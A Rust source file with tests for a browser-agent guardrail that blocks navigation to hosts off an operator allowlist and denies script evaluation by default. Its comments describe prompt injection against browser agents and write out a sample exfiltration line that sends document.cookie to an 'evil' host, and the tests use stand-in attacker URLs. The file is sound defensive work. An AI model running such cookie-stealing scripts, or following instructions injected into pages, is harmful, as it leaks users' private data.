Skip to main content

heartbit_core/browser/
guard.rs

1//! Browser safety guardrails (spec capabilities 19–21).
2//!
3//! A credentialed browser agent is the canonical "lethal trifecta": private
4//! data + untrusted page content + an exfiltration channel (`navigate_page`,
5//! `evaluate_script`, form submission). WASP found frontier agents begin
6//! following injected page instructions ~17% of the time. The cheapest, highest-
7//! value structural defense is a **domain allowlist** that denies navigation /
8//! network / submission to any host the operator did not pre-approve — it
9//! catches the dangerous *first step* even when full exploitation is rare.
10//!
11//! [`DomainAllowlistGuard`] implements the existing [`Guardrail`] `pre_tool`
12//! hook (first-`Deny`-wins), so it composes with the rest of the guardrail
13//! stack and needs no browser to test.
14
15use std::collections::HashSet;
16use std::future::Future;
17use std::pin::Pin;
18
19use crate::agent::guardrail::{GuardAction, Guardrail};
20use crate::error::Error;
21use crate::llm::types::ToolCall;
22
23/// Tools whose `url` argument navigates or fetches and must be allowlist-gated.
24const NAVIGATION_TOOLS: &[&str] = &["navigate_page", "new_page"];
25
26/// Tool whose body cannot be statically vetted against the allowlist and is
27/// therefore an unconstrained exfiltration channel (B3): a script can
28/// `fetch('https://evil/', {body: document.cookie})` to any host, bypassing the
29/// navigation allowlist entirely.
30const EVALUATE_SCRIPT_TOOL: &str = "evaluate_script";
31
32/// Deny browser navigation to any host not on an operator allowlist.
33///
34/// The allowlist holds bare hosts (e.g. `example.com`). A target host matches if
35/// it equals an allowed host or is a subdomain of one (`docs.example.com`
36/// matches `example.com`). Matching is case-insensitive. An empty allowlist
37/// denies all navigation (deny-by-default).
38pub struct DomainAllowlistGuard {
39    allow: HashSet<String>,
40    allow_evaluate_script: bool,
41}
42
43impl DomainAllowlistGuard {
44    /// Build from an iterator of allowed hosts. Hosts are lowercased; a leading
45    /// `*.`, scheme, or path is stripped to the bare host.
46    pub fn new(hosts: impl IntoIterator<Item = impl Into<String>>) -> Self {
47        let allow = hosts
48            .into_iter()
49            .map(|h| normalize_host(&h.into()))
50            .collect();
51        Self {
52            allow,
53            // B3: deny `evaluate_script` by default — its arbitrary body is an
54            // ungated exfiltration channel that the host allowlist cannot vet.
55            // Internal page-settle / verification code calls the MCP tool
56            // directly (not through this guardrail), so only LLM-initiated
57            // `evaluate_script` calls are affected.
58            allow_evaluate_script: false,
59        }
60    }
61
62    /// Permit LLM-initiated `evaluate_script` despite its exfiltration risk.
63    /// Off by default; enable only when the agent operates on trusted pages.
64    pub fn allow_evaluate_script(mut self, allow: bool) -> Self {
65        self.allow_evaluate_script = allow;
66        self
67    }
68
69    /// Is `host` allowed (equal to, or a subdomain of, an allowlisted host)?
70    pub fn host_allowed(&self, host: &str) -> bool {
71        let host = host.to_lowercase();
72        self.allow
73            .iter()
74            .any(|allowed| host == *allowed || host.ends_with(&format!(".{allowed}")))
75    }
76}
77
78/// Reduce a host/url-ish string to a bare lowercase host: strip scheme, any
79/// path/query, a leading `*.`, and a trailing port.
80fn normalize_host(s: &str) -> String {
81    let s = s.trim().to_lowercase();
82    // `rsplit` (single-ended) yields the part after the last "://"; a multi-char
83    // `&str` `Split` is not `DoubleEndedIterator`, so `next_back` won't compile.
84    let s = s.rsplit("://").next().unwrap_or(&s);
85    let s = s.split('/').next().unwrap_or(s);
86    let s = s.strip_prefix("*.").unwrap_or(s);
87    let s = s.split(':').next().unwrap_or(s);
88    s.to_string()
89}
90
91/// Extract the host from a URL string in a tool-call `url` argument, without a
92/// URL-parsing dependency. Returns `None` for non-`http(s)` schemes (e.g.
93/// `about:blank`, `javascript:`) and for `back`/`forward`/`reload` keywords.
94pub(crate) fn url_host(url: &str) -> Option<String> {
95    let u = url.trim();
96    // Navigation keywords are not external hosts.
97    if matches!(u, "back" | "forward" | "reload") {
98        return None;
99    }
100    let after_scheme = match u.split_once("://") {
101        // RFC 3986 §3.1: scheme is case-insensitive — browsers accept `HTTP://`.
102        // A case-sensitive `"http" | "https"` match would treat `HTTP://evil.com`
103        // as a non-web scheme, return None, and the guard would ALLOW it past the
104        // allowlist (a deny-by-default bypass).
105        Some((scheme, rest))
106            if scheme.eq_ignore_ascii_case("http") || scheme.eq_ignore_ascii_case("https") =>
107        {
108            rest
109        }
110        Some(_) => return None, // non-web scheme with authority (ftp://, ws://, …)
111        None => {
112            // No "://": either a bare host[:port][/path], or an opaque-scheme URL
113            // such as "about:blank" / "javascript:…" (a scheme whose colon is NOT
114            // followed by a numeric port). Distinguish them by the post-colon text:
115            // a numeric tail is a port (host:port); anything else is an opaque
116            // scheme and has no web host to gate.
117            let head = u.split(['/', '?', '#']).next().unwrap_or(u);
118            match head.split_once(':') {
119                Some((_, tail)) if tail.is_empty() || !tail.bytes().all(|b| b.is_ascii_digit()) => {
120                    return None;
121                }
122                _ => u, // bare host, or host:port — fall through to shared stripping
123            }
124        }
125    };
126    let host = after_scheme
127        .split(['/', '?', '#'])
128        .next()
129        .unwrap_or(after_scheme);
130    let host = host.split('@').next_back().unwrap_or(host); // strip userinfo
131    let host = host.split(':').next().unwrap_or(host); // strip port
132    if host.is_empty() {
133        None
134    } else {
135        Some(host.to_lowercase())
136    }
137}
138
139impl Guardrail for DomainAllowlistGuard {
140    fn name(&self) -> &str {
141        "browser-domain-allowlist"
142    }
143
144    fn pre_tool(
145        &self,
146        call: &ToolCall,
147    ) -> Pin<Box<dyn Future<Output = Result<GuardAction, Error>> + Send + '_>> {
148        let action = if call.name == EVALUATE_SCRIPT_TOOL && !self.allow_evaluate_script {
149            GuardAction::deny(
150                "evaluate_script denied: an arbitrary script body can exfiltrate page \
151                 data to any host, bypassing the domain allowlist. Enable it explicitly \
152                 (allow_evaluate_script) only when operating on trusted pages.",
153            )
154        } else if NAVIGATION_TOOLS.contains(&call.name.as_str()) {
155            match call.input.get("url").and_then(|v| v.as_str()) {
156                // A navigation with a real http(s) host: gate it.
157                Some(url) => match url_host(url) {
158                    Some(host) if self.host_allowed(&host) => GuardAction::Allow,
159                    Some(host) => GuardAction::deny(format!(
160                        "navigation to '{host}' denied: host not on the browser allowlist"
161                    )),
162                    // No web host (about:blank, javascript:, back/forward): allow.
163                    None => GuardAction::Allow,
164                },
165                // navigate_page back/forward/reload (no url arg): allow.
166                None => GuardAction::Allow,
167            }
168        } else {
169            GuardAction::Allow
170        };
171        Box::pin(async move { Ok(action) })
172    }
173}
174
175#[cfg(test)]
176mod tests {
177    use super::*;
178
179    fn nav(url: &str) -> ToolCall {
180        ToolCall {
181            id: "c1".into(),
182            name: "navigate_page".into(),
183            input: serde_json::json!({ "url": url }),
184        }
185    }
186
187    async fn decide(g: &DomainAllowlistGuard, call: &ToolCall) -> GuardAction {
188        g.pre_tool(call).await.expect("guard ok")
189    }
190
191    #[test]
192    fn url_host_extraction() {
193        assert_eq!(
194            url_host("https://example.com/a/b?x=1"),
195            Some("example.com".into())
196        );
197        assert_eq!(
198            url_host("http://Docs.Example.com:8080/"),
199            Some("docs.example.com".into())
200        );
201        assert_eq!(
202            url_host("https://user:pw@evil.com/x"),
203            Some("evil.com".into())
204        );
205        assert_eq!(url_host("example.com/path"), Some("example.com".into()));
206        assert_eq!(url_host("about:blank"), None);
207        assert_eq!(url_host("javascript:alert(1)"), None);
208        assert_eq!(url_host("back"), None);
209    }
210
211    #[test]
212    fn url_host_scheme_is_case_insensitive() {
213        // RFC 3986 §3.1: scheme is case-insensitive. Browsers accept `HTTP://`.
214        // A case-sensitive match would return None here → the navigation would be
215        // treated as a non-web scheme and ALLOWED, bypassing the allowlist.
216        assert_eq!(url_host("HTTP://evil.com/steal"), Some("evil.com".into()));
217        assert_eq!(url_host("Https://evil.com"), Some("evil.com".into()));
218        assert_eq!(url_host("hTtP://Evil.COM/x"), Some("evil.com".into()));
219        // A genuinely non-web scheme is still None regardless of case.
220        assert_eq!(url_host("ABOUT:blank"), None);
221        assert_eq!(url_host("JavaScript:alert(1)"), None);
222    }
223
224    #[tokio::test]
225    async fn mixed_case_scheme_is_gated_not_bypassed() {
226        let g = DomainAllowlistGuard::new(["example.com"]);
227        // The bypass: an uppercase scheme to an off-allowlist host must be DENIED.
228        match decide(&g, &nav("HTTP://evil.com/steal")).await {
229            GuardAction::Deny { reason } => {
230                assert!(reason.contains("evil.com"), "reason: {reason}")
231            }
232            other => panic!("uppercase-scheme off-allowlist nav must be denied, got {other:?}"),
233        }
234        // And a mixed-case scheme to an allowlisted host must still be ALLOWED
235        // (the fix must not over-block legitimate navigation).
236        assert_eq!(
237            decide(&g, &nav("HTTPS://example.com/login")).await,
238            GuardAction::Allow
239        );
240    }
241
242    #[test]
243    fn subdomain_matches_allowlisted_apex() {
244        let g = DomainAllowlistGuard::new(["example.com"]);
245        assert!(g.host_allowed("example.com"));
246        assert!(g.host_allowed("docs.example.com"));
247        assert!(g.host_allowed("a.b.example.com"));
248        assert!(!g.host_allowed("notexample.com"));
249        assert!(!g.host_allowed("example.com.evil.com"));
250    }
251
252    #[tokio::test]
253    async fn allows_navigation_to_allowlisted_host() {
254        let g = DomainAllowlistGuard::new(["example.com"]);
255        assert_eq!(
256            decide(&g, &nav("https://example.com/login")).await,
257            GuardAction::Allow
258        );
259        assert_eq!(
260            decide(&g, &nav("https://api.example.com/v1")).await,
261            GuardAction::Allow
262        );
263    }
264
265    #[tokio::test]
266    async fn denies_navigation_off_allowlist() {
267        let g = DomainAllowlistGuard::new(["example.com"]);
268        let action = decide(&g, &nav("https://evil.com/steal")).await;
269        match action {
270            GuardAction::Deny { reason } => {
271                assert!(reason.contains("evil.com"), "reason: {reason}");
272                assert!(reason.contains("allowlist"), "reason: {reason}");
273            }
274            other => panic!("expected Deny, got {other:?}"),
275        }
276    }
277
278    #[tokio::test]
279    async fn empty_allowlist_denies_all_navigation() {
280        let g = DomainAllowlistGuard::new(Vec::<String>::new());
281        assert!(matches!(
282            decide(&g, &nav("https://example.com")).await,
283            GuardAction::Deny { .. }
284        ));
285    }
286
287    #[tokio::test]
288    async fn non_navigation_tools_pass_through() {
289        let g = DomainAllowlistGuard::new(["example.com"]);
290        // A click is not gated by the allowlist (only navigation/network is).
291        let click = ToolCall {
292            id: "c2".into(),
293            name: "click".into(),
294            input: serde_json::json!({ "uid": "1_2" }),
295        };
296        assert_eq!(decide(&g, &click).await, GuardAction::Allow);
297    }
298
299    #[tokio::test]
300    async fn evaluate_script_denied_by_default_and_opt_in_allows() {
301        // B3: `evaluate_script` is an ungated exfil channel; deny by default.
302        let eval = ToolCall {
303            id: "e1".into(),
304            name: "evaluate_script".into(),
305            input: serde_json::json!({ "function": "() => document.cookie" }),
306        };
307        let g = DomainAllowlistGuard::new(["example.com"]);
308        assert!(
309            decide(&g, &eval).await.is_denied(),
310            "evaluate_script must be denied by default"
311        );
312
313        // Explicit opt-in permits it.
314        let g_opt = DomainAllowlistGuard::new(["example.com"]).allow_evaluate_script(true);
315        assert_eq!(decide(&g_opt, &eval).await, GuardAction::Allow);
316    }
317
318    #[tokio::test]
319    async fn back_forward_and_nonweb_schemes_allowed() {
320        let g = DomainAllowlistGuard::new(["example.com"]);
321        assert_eq!(decide(&g, &nav("back")).await, GuardAction::Allow);
322        assert_eq!(decide(&g, &nav("about:blank")).await, GuardAction::Allow);
323        // navigate with no url arg (e.g. reload form) → allow.
324        let no_url = ToolCall {
325            id: "c3".into(),
326            name: "navigate_page".into(),
327            input: serde_json::json!({}),
328        };
329        assert_eq!(decide(&g, &no_url).await, GuardAction::Allow);
330    }
331
332    #[tokio::test]
333    async fn new_page_is_also_gated() {
334        let g = DomainAllowlistGuard::new(["example.com"]);
335        let new_evil = ToolCall {
336            id: "c4".into(),
337            name: "new_page".into(),
338            input: serde_json::json!({ "url": "https://evil.com" }),
339        };
340        assert!(matches!(
341            decide(&g, &new_evil).await,
342            GuardAction::Deny { .. }
343        ));
344    }
345}